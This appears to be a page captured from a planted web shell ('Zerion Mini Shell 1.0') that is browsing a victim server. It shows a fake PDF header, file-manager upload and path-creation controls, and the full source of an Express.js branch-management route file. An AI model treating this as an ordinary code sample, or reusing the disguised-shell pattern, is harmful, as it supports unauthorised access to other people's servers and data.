%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/src/routes/
Upload File :
Create Path :
Current File : /home/opti/workflow/src/routes/branch.js

var express = require('express');
var router = express.Router();
var bcrypt = require('bcrypt')

var formidable = require('formidable');
var fs = require('fs');
var path = require('path');

var con = require('../../config');
var secured = require('../middleware/login');
var db = require('../models');

router.get('/', secured,  function(req, res, next) {
  var user = req.user;
  // user.password = null;
  // console.log(user)
  db.Branch.findAll({where:{orgId:user.orgId},include: [
      {
        model: db.Region,
        as: 'region'
      },
      {
        model: db.User,
        as: 'head'
      },
      {
        model: db.User,
        as:'assistant'
      }
  ]})
  .then(branches =>{
    console.log(branches, "Branches")
    db.Region.findAll({where: {orgId: user.orgId}}).then(function(regions){
      res.render('branch/branch', {title: 'Branches', user: user, regions, script: "branches",branches});

    })

  })
});

router.get('/add',secured, function(req, res, next) {
  var user = req.user;

  db.Region.findAll({where:{orgId:user.orgId}})
  .then(regions =>{
    res.render('branch/addBranch', {title: 'Branches', user: user, regions});

  })

});

router.post('/add', secured, (req, res) => {
  let user = req.user,
      name = req.body.name,
      description = req.body.description,
      regionId = req.body.regionId,
      headId = req.body.headId,
      assistantId = req.body.assistantId,
      email = req.body.email;

      db.Branch.create({ orgId: user.orgId, name, description, regionId, headId, assistantId, email})
      .then(function(region){
        res.redirect('/branch')
      })
});

router.post('/delete', secured, (req, res, next) => {
  var user = req.user;
  var id = req.body.id;
  db.Branch.findOne({where:{orgId: user.orgId, id: id}}).then(function(branch){
    branch.destroy().then(function(){
      console.log("Branch destroyed");
      req.flash('info', 'Branch removed');
      res.redirect('/branch');
    }).catch(function(){
      console.log('Error removing branch')
      
    })
  })
})

router.get('/update/:branchId', secured, async (req, res) => {
  let user = req.user;
  let id = req.params.branchId;
  const branch = await db.Branch.findOne({where: {orgId: user.orgId, id: id}});
  const regions = await db.Region.findAll({where: {orgId: user.orgId}});
  res.render('branch/update', {user, branch, regions, script: 'index', })
})

router.post('/update', secured, async (req, res) => {
  let user = req.user;
  console.log(req.body)
  let id = req.body.id;
  let name = req.body.name,
      description = req.body.description,
      email = req.body.email,
      regionId = req.body.regionId,
      headId = req.body.headId,
      assistantId = req.body.headAssistantId;

      let branchObj = {
        name,
        description,
        email,
        regionId,
        headId,
        assistantId
      }

  let branch = await db.Branch.findOne({where: {id : id, orgId: user.orgId}});
console.log(branch, "Branch")
  try{
    if(branch !== null){
      await branch.update(branchObj);
    }
   console.log(branch, "Updated branch")
  } catch(err){
    console.log("There was an error deleting the region. please try again.")
    req.flash('info', 'There was an error deleting the region. please try again.');
    return res.redirect('/branch');
  }

  res.redirect('/branch');
  
})


router.get('/get/:regionId', secured, (req, res) => {
  var regionId = req.params.regionId;
  var user = req.user;
  db.Branch.findAll({where:{orgId: user.orgId, regionId: regionId }})
  .then(function(branches){
    res.json(branches);
  })
})


router.get('/api/all', secured, (req, res) => {
  
  var user = req.user;
  db.Branch.findAll({where:{orgId: user.orgId}})
  .then(function(branches){
    res.json(branches);
  })
})



function saveFile(file){
	const name = `${Math.floor(Date.now() / 1000)}_${Math.round(Math.random() * 10000)}.${file.name.split('.').pop()}`;
	const dest = path.join(__dirname, '..', 'public', 'assets', 'images', 'users', name);
	const data = fs.readFileSync(file.path);
	fs.writeFileSync(dest, data);
	fs.unlinkSync(file.path);

	// uploadInfo.fileSize = fileUpload.size;
	// uploadInfo.fileType = fileUpload.type;
	return  name;

}
module.exports = router;

Zerion Mini Shell 1.0